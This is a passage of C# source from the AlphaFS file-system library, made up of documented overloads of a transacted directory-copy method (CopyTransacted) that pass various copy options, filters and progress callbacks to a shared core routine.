{\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            DirectoryEnumerationFilters = filters,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            DirectoryEnumerationFilters = filters\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            DirectoryEnumerationFilters = filters,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            DirectoryEnumerationFilters = filters\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            DirectoryEnumerationFilters = filters,\n            PathFormat = pathFormat\n         });\n      }\n\n      #endregion // Obsolete\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = CopyOptions.FailIfExists\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = CopyOptions.FailIfExists,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, DirectoryEnumerationFilters filters)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = CopyOptions.FailIfExists,\n            DirectoryEnumerationFilters = filters\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = CopyOptions.FailIfExists,\n            DirectoryEnumerationFilters = filters,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            DirectoryEnumerationFilters = filters,\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            DirectoryEnumerationFilters = filters,\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n         });\n      }\n      \n\n\n      \n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception 